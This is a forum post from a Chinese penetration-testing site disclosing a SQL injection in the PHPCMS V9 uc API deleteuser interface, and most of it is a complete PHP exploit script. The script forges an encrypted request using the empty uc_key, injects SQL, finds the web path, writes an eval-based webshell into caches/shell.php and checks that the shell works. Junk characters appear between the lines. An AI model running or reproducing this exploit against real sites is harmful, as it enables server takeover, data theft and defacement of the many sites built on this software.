中国网络渗透测试联盟
标题:
PHPCMS V9 uc API SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-9 01:22
标题:
PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
/ X0 x. ^% }& s- K- `! E
" F( `6 h9 I6 e) [6 n" }
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
" y1 P) s; {* [' q
5 O" x) y9 d$ Y' t, U7 O
漏洞分析:
5 _! V2 n" v: }7 i' c! t
1.未启用ucenter服务的情况下uc_key为空
* f4 y6 d D4 @3 i# V9 r# z7 a
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
9 s1 g* T" L6 i/ l' n2 S
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
1 h7 P4 }& G6 Z5 s6 r* W' \' D
public function deleteuser($get,$post) {
+ y# x9 A9 M' A- z
pc_base::load_app_func('global', 'admin');
- K; z7 u b# Q( i3 i
pc_base::load_app_class('messagequeue', 'admin' , 0);
8 N$ t+ z' q1 V& I, s- o
$ids = new_stripslashes($get['ids']);
1 d F9 n C# r6 ^/ `8 J( u, h( K
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
# z. t: N4 V# v1 D
SQL语句为
8 s. E4 U0 q- F
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
2 r3 X K9 \5 n
, m2 k' t6 t' J" @1 t
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
1 _6 V# @( {3 o: Q
<?php
, n/ I7 O) g p% n7 s
print_r('
! g: Y; P: L' i" ?
---------------------------------------------------------------------------
- h1 r5 B+ \6 L6 T- e% M4 L, s
PHPcms (v9 or Old Version) uc api sql injection 0day
$ q% y+ C& w+ q; a1 A) q! G- c
by rayh4c#80sec.com
5 q, g% M/ O" C4 x) E
---------------------------------------------------------------------------
0 V" p; n/ n- h+ k1 N
');
& i# n( v5 L" q" D
2 i9 _& f- a8 D4 J+ ?! |5 A4 b
if ($argc<3) {
4 {- d5 }- a2 V5 {' `$ ~5 @
print_r('
' \# ^7 p; v3 Q! q
---------------------------------------------------------------------------
" j4 H" c6 N0 q, e+ E
Usage: php '.$argv[0].' host path OPTIONS
; g+ J' v: @( {* B
host: target server (ip/hostname)
, @8 G2 s. B8 U% Q4 A$ j/ b4 w
path: path to phpcms
) @$ N5 X' m( ~' F
Options:
1 e; ~$ X7 D/ `. c+ f7 \' U8 N
-p[port]: specify a port other than 80
( u: i, ]0 b+ T
-P[ip:port]: specify a proxy
- ^/ @) i0 s, G# v& M
Example:
) o# `& A4 _2 k8 ~
php '.$argv[0].' localhost /
3 v4 J6 v' ^: y8 Q. L
php '.$argv[0].' localhost /phpcms/ -p81
6 c# Z- r- X9 [* _" m# ^
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
% o3 P# r" h0 e/ b% D0 h
---------------------------------------------------------------------------
& }) C, a' c+ E i* J$ [
');
, T, L- Y* U+ `8 I
die;
5 ~. G7 r: t9 j+ Q
}
' U( U0 A3 j6 u+ e
; v# y( M' `2 e* I4 ~
error_reporting(7);
3 u* o8 }* A: e1 D8 }4 m) |
ini_set("max_execution_time",0);
% X9 v0 \! L8 f) i, ~& W4 h
ini_set("default_socket_timeout",5);
) }. @* b5 q! x4 U2 s
( T- O( V: z+ R: F; Y
function quick_dump($string)
& B' v$ S+ j9 ~/ t# h7 K! `
{
- z3 s8 M }, M
$result='';$exa='';$cont=0;
' X% V6 ^ P6 |3 q0 e+ H
for ($i=0; $i<=strlen($string)-1; $i++)
" r, E6 i' d+ E# z
{
2 A, z4 ]4 V9 a0 h" `
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
. R! c. W5 `# z" q$ D* d
{$result.=" .";}
: Q5 \. I5 x/ ^6 B% d' M
else
7 q. V! A. f# \- V8 g
{$result.=" ".$string[$i];}
5 ?5 V x3 W: S5 q( R
if (strlen(dechex(ord($string[$i])))==2)
% z6 d0 f0 j# r8 M! J
{$exa.=" ".dechex(ord($string[$i]));}
& m$ W" I/ A' Q& _
else
7 `' [5 p& D; t7 B
{$exa.=" 0".dechex(ord($string[$i]));}
$ G( J( O* d( L2 X+ c
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
2 I& f, q4 Q& G3 J* A+ {0 I9 @
}
7 l& u' ~7 ?0 w e
return $exa."\r\n".$result;
/ n8 j. ?8 C. B! B
}
6 e. K0 S$ O' {8 U( }! C
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
; ~! G6 M6 t/ _+ w8 F
" [' l1 y. L# q5 K/ ?4 i" k# S
function send($packet)
. R7 A; e8 a* Q. ~
{
3 F. q/ ^" {4 Y
global $proxy, $host, $port, $html, $proxy_regex;
U9 M$ K' S. n* x3 m. w/ h% N1 r9 A' q
if ($proxy=='') {
% V5 q5 [) Q/ L) }& H. _% k
$ock=fsockopen(gethostbyname($host),$port);
" t6 N5 ]7 z9 ~6 P% [1 e4 P
if (!$ock) {
; o3 M4 ]9 I& _
echo 'No response from '.$host.':'.$port; die;
! A% U: X! k# B M
}
/ C& t8 E& w) i( H/ ]
}
# x. J" Q- f; C* y& N% `& ]! W* Z; P
else {
1 _3 _; }9 F' A0 T
$c = preg_match($proxy_regex,$proxy);
2 J0 P; M6 e, t# M) F% h
if (!$c) {
) V. c. D- b! t, `+ b- j( X
echo 'Not a valid proxy...';die;
: m! l5 q6 A4 M6 \
}
Q7 d1 N: w, \$ R: ]! Q4 r: Q9 _
$parts=explode(':',$proxy);
0 t0 H/ T& `3 `/ r- y$ F
$parts[1]=(int)$parts[1];
, q8 ]7 U- D, R4 V" j
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
# w. Y( Z" D5 b6 } a7 R% G
$ock=fsockopen($parts[0],$parts[1]);
+ K3 ~# m) W/ C* J" H# w" [% b3 H* F
if (!$ock) {
/ Y% d2 N: b3 [$ K0 t8 |. R! V0 X. Q
echo 'No response from proxy...';die;
( O; V! u! [) [. p# k: `$ M3 x
}
3 u1 k) Z! d: s: A+ `7 S* _: {
}
. V# W( Q% I, t& n: v, D' I
fputs($ock,$packet);
/ V) U2 \- P( L: _' T6 e
if ($proxy=='') {
8 p3 V3 V* ~! c2 {
$html='';
& C( K4 S. _& r: F1 x D
while (!feof($ock)) {
- G0 b# i) Y$ e. P) E) H1 P
$html.=fgets($ock);
* m0 Y3 q; G! e& z% T
}
0 o2 g! q! ^% S
}
9 l; F4 H! h/ O( F6 @. f8 O9 E
else {
, X$ v( I3 d4 w7 N& ~' M# ^" g
$html='';
. d# O$ j1 W/ P8 } ]
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
. H7 P' D8 H) ^! c
$html.=fread($ock,1);
4 z4 A" T6 M x0 Q! @0 ?
}
0 Z2 d0 |4 f) h# ^4 {( n d: Y+ a, O7 z
}
. [$ C4 s6 t& C' }
fclose($ock);
, {9 [7 C' f, g$ L# H* |
}
0 l* B6 \7 ~* a1 B4 ?
" S0 X5 e4 ^! R) h& q
$host=$argv[1];
8 ~5 A7 D. i+ f3 H8 _. ]! m. y+ K
$path=$argv[2];
$ X0 _4 x; n& n4 D" j
$port=80;
5 ?3 B1 y" I5 Y Z! ^
$proxy="";
9 i' Z5 h2 S+ p( f7 f$ F. K
for ($i=3; $i<$argc; $i++){
/ Y/ ^6 T; i+ u2 T1 F4 \$ S- S# u
$temp=$argv[$i][0].$argv[$i][1];
) `# Q9 I- Q; E0 N7 ^+ u
if ($temp=="-p")
7 T+ c) V" a3 o5 f4 x. q
{
1 O! x$ D6 B; K$ @9 {( w' a
$port=(int)str_replace("-p","",$argv[$i]);
7 Q/ q' z3 c4 e& Q
}
+ ?/ v1 Z, u0 e7 x- l
if ($temp=="-P")
) E/ Q( E8 Q ^, a: {# F. v4 W
{
2 t0 `; o( v9 d, B; P; _' Y
$proxy=str_replace("-P","",$argv[$i]);
& c3 i0 Z" ^* W3 ~
}
; H* Q; ] ]- y& k1 `5 A1 n9 V- j
}
& n" r* X8 }3 j7 G" c: p- R
. G0 N* D5 a9 J1 W/ N) H
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
) G) c1 v8 n* E
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
( x( S7 D% C6 k: K& Y
% R! v/ h' n, [$ M2 G6 V/ i* K
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
/ {4 q0 @. E# t6 I7 b3 ]& B8 w1 D
) N( P1 c# ~% R+ ]/ k
$ckey_length = 4;
& C% a E+ d" j- g3 p, c( i
. w5 {8 x$ L: Z+ }! b+ i& `& h- p
$key = md5($key ? $key : '');
3 v4 }2 \1 V# R
$keya = md5(substr($key, 0, 16));
4 \3 e7 s: [1 Q6 I. Y
$keyb = md5(substr($key, 16, 16));
, L5 i4 v3 T/ m1 Y0 w+ J8 P
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$ e) l8 J; H& F( k+ e4 L
( `% G3 ^: G0 p* @
$cryptkey = $keya.md5($keya.$keyc);
% Y* x. _/ m. q, a5 `
$key_length = strlen($cryptkey);
4 d0 t* K$ g% b# P: z
, {- b- p# r% [9 t# X# t
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
& f1 E- {: M% s+ X& Y: p3 g/ e
$string_length = strlen($string);
' z) h7 T; c( @3 I7 u" Z& J
/ E8 a& e% ]2 A& c X7 I
$result = '';
/ Y! U4 ]( H& ]# h
$box = range(0, 255);
7 u7 [9 W+ h1 y& c$ r* n3 e8 i
2 e, \3 i6 P: I# U+ L
$rndkey = array();
) e. w* A4 _8 B9 W
for($i = 0; $i <= 255; $i++) {
% x) V2 b. [/ Q6 ~
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
0 [+ {& z- {1 s
}
) A. w8 ]6 |5 @' K( A8 {; z! f
7 a/ H! m- _/ j+ p+ S0 i1 o
for($j = $i = 0; $i < 256; $i++) {
! ~: a- Q: y" @+ Q
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
) T& d/ N! P7 f( j4 u# o) w
$tmp = $box[$i];
* i4 N# e j6 |$ H& _" l1 s
$box[$i] = $box[$j];
6 q1 ?# M* W! m0 _7 N4 ~0 n
$box[$j] = $tmp;
4 H) i& Q! T. o* J
}
$ W+ N; a/ }/ z- ] y0 d) i* P
" M2 I9 s" d: ~; W
for($a = $j = $i = 0; $i < $string_length; $i++) {
5 s/ X ]2 W9 s7 _, V/ _- P
$a = ($a + 1) % 256;
I2 _/ H$ L9 {9 j: l) v: E1 u
$j = ($j + $box[$a]) % 256;
) o, x" L& _5 R( y: ?! c, t
$tmp = $box[$a];
2 e3 I0 w) R) u+ p: N8 W
$box[$a] = $box[$j];
) H0 p' K L& H# G1 t( ^, ]
$box[$j] = $tmp;
& j6 l4 k: {9 C: O! W- W+ J/ j
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
b, y* x6 L- M7 p6 j3 b
}
4 z) A% u& z% \& ]& H0 u) F" e
( V: h" p8 N' e0 O) p' T
if($operation == 'DECODE') {
( [& l* p$ B/ e; |( g3 S$ l
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
+ `; a( h+ Z! {" W
return substr($result, 26);
6 i+ c6 `1 {# k: W& D6 j9 V% ?
} else {
) F) L* m f& N. {3 V
return '';
8 H9 z# ~. d' }( |1 X( ^
}
; g3 ^) p' A3 u8 b# ?$ }% l+ `; N, y0 y
} else {
( V, T- i8 D* }( p2 h) ]2 y6 N
return $keyc.str_replace('=', '', base64_encode($result));
( J O2 u) `& V2 r/ D$ o! }
}
0 a* q3 A$ Y% }( _1 |6 j& G% s
l' N8 f( G. o" f4 U
}
+ w. n8 ~) y; `7 \) X) U$ a. |
' G' j3 w: x4 K
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
+ \! |' m( G- K1 U# a: t
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
: P7 d3 c" s- e, l9 e5 M; v
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
( y# U+ y" l' f5 e2 B* P7 W
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
. k* c* L7 g3 W3 R8 Q
$packet.="User-Agent: Mozilla/5.0\r\n";
" L \/ R) h4 @' L6 g" P
$packet.="Host: ".$host."\r\n";
5 y% d1 o) n7 U9 T0 O% Y, [- l
$packet.="Connection: Close\r\n\r\n";
% p, q7 |2 e' G. v; @) K
send($packet);
8 Y+ Z. t/ Y* j) U% C2 I, \
if(strpos($html,"MySQL Errno") > 0){
& B4 _2 ]. T% n' _4 F
echo "[2] 发现存在SQL注入漏洞"."\n";
; c1 ]* y# N. F; p
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
# Z' |- `4 W3 O+ M2 G, J$ Z
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
* k \; z" F2 C A# K: k
$packet.="User-Agent: Mozilla/5.0\r\n";
: @6 \. L. b3 q3 i* T
$packet.="Host: ".$host."\r\n";
- i! W# l( E/ I# Z3 p" c8 i( y
$packet.="Connection: Close\r\n\r\n";
4 D# S6 J0 l& i. E" O8 L
send($packet);
2 b3 h$ L- ~% ?* j$ W
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
6 v+ T. h+ \8 Q; ]: R
//print_r($matches);
. H& [7 o9 q% l; z: G3 R
if(!empty($matches)){
' k% k2 |1 M r0 f& w
echo "[4] 得到web路径 " . $matches[0]."\n";
( T l: J+ Q/ B
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
5 ^* V, u1 @& d/ l* M
$SQL = "time=999999999999999999999999&ids=1)";
, \3 b5 o9 q/ X! J9 `6 r6 A
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
( Q4 ]9 Y. N3 i# n! `
$SQL.="&action=deleteuser";
) l/ W- H6 k5 q( [* d) b. i {
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
+ b- c4 e/ L' { b1 `6 N- ^
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
8 w- o; X$ E7 Z$ ?
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
6 b! z% X/ U. i1 r! y) F" U# O
$packet.="User-Agent: Mozilla/5.0\r\n";
7 R7 d. W6 c! ^& Q# v3 ]8 V3 F
$packet.="Host: ".$host."\r\n";
7 h# v: l+ p4 d- e7 b2 u
$packet.="Connection: Close\r\n\r\n";
! i8 h3 o) Z+ `( t+ Q: w* L u& E
send($packet);
- T8 Z F) C6 H8 x* N7 y
if(strpos($html,"Access denied") > 0){
$ j) l/ D2 ?! Z5 m7 z
echo "[-] MYSQL权限过低 禁止写入文件
";
$ E! j$ K2 f( R% U) I
die;
3 l ^* Q1 V7 v) R
}
2 D6 ?+ s. Y# I8 R3 c
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
- s: {5 A( p- T& Q6 t" O- z
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
+ \/ B1 U8 H' f5 I
$packet.="User-Agent: Mozilla/5.0\r\n";
7 H& o3 ]1 D9 S
$packet.="Host: ".$host."\r\n";
9 ]6 s0 j9 ^* F# O$ r: |9 S* h
$packet.="Connection: Close\r\n\r\n";
" l; Y _4 y0 r1 _# K8 I! O
send($packet);
& p6 G0 x: p" p* I, ?1 }; R: \
if(strpos($html,"<title>phpinfo()</title>") > 0){
. h' w4 f% B3 U$ @7 u3 R: I
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it
";
: C/ r) k8 S7 x5 ^+ X6 \8 M
}
1 i% K$ V+ v& a% f6 A" c
}else{
f6 G; y- N# s w* j8 s/ H( m' C
echo "[-]未取到web路径
";
4 N" ?5 `) o( O2 W7 ?
}
# j/ k+ D3 K" m7 d
}else{
5 ], q( Q. S8 \' S
echo "[*]不存在SQL注入漏洞"."\n";
3 @6 y( q% }0 E& I# l6 X
}
, J7 t/ S/ {5 v5 U: D/ b' R$ G
8 S k; z) b% I$ U
?>
. O0 Q H- V8 C& ?* v! B1 t$ n
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2